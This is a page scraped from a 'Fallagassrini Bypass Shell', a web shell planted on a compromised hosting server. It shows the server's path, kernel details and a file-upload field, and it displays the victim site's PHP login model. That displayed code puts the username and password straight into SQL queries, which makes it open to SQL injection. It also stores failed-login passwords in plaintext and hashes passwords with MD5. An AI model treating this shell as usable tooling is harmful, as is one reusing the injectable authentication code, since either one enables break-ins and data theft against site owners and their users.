? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/models/user.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php
/* 
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

class user extends Model
{
     function user()
    {
        parent::Model();
        $this->load->model('customermodel');
    }

    function authenticate($username,$password)
    {



        
        $ip=$this->input->post('ip');
        $profile= $this->customermodel->getSingleFieldValue('users','role_id','username',$username);
        if($profile=="")
        {
            $profile='NULL';
        }

        $uid= $this->customermodel->getSingleFieldValue('users','id','username',$username);
       
        if($uid=="")
        {
            $uid='NULL';
        }
        $logintime=$today = date("Y-m-d H:i:s");



        $password1=md5($password);
        $query= $this->db->query("select * from users where username='$username' and password='$password1'");
        $data['numrows']=$query->num_rows();
        if($query->num_rows()>0)
        {

          $lastid= $this->getSingleValue('login_details','id','username',$username);
          $clogintime= $this->getSingleValue('login_details','login_time','username',$username);
          $result= $query->row();
          $data['userid']= $result->id;
          $data['username']=$username;
          $data['clogintime']=$logintime;
          $data['lastid']=$lastid;
          $data['roleid']= $result->role_id;
          $data['staffid']= $result->staff_id;
          $query1= $this->db->query("select * from login_details where username='$username' and id>='$lastid'");
          $data['attempt']=($query1->num_rows())-1;
          $tblValues=array('profile'=>$profile,'username'=>$username,'password'=>$password1,'login_time '=>$logintime,'userid '=>$uid,'ip_address '=>$ip,'status '=>'Success');
          $datas=$this->db->insert('login_details', $tblValues);


            return $data;
        }
        else
        {
            $tblValues=array('profile'=>$profile,'username'=>$username,'password'=>$password,'login_time '=>$logintime,'userid '=>$uid,'failing_time '=>$logintime,'ip_address '=>$ip,'status '=>'failed');
          $datas=$this->db->insert('login_details', $tblValues);
        }
        
    }

     function getSingleValue($table,$field,$condition,$value)
       {

	   $data=$this->db->query("select max(". $field. ") as ".$field." from ". $table . " where ". $condition . "='". $value ."' and status='Success'");
	   $result= $data->row();
	   if($result)
	   {
	      return $result->$field;
	   }
	   else
	   {
	      return "";
	   }
       }

       function view_attempt($name,$id)
        {
$refid=$id+1;

$data=array();

            $res=$this->db->query("select * from login_details where userid ='". $name . "' and id>='". $refid . "' and status='failed'");
            foreach ($res->result_array() as $row)
                 {
                     $data[] = $row;
                 }
            return $data;
        }


}
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net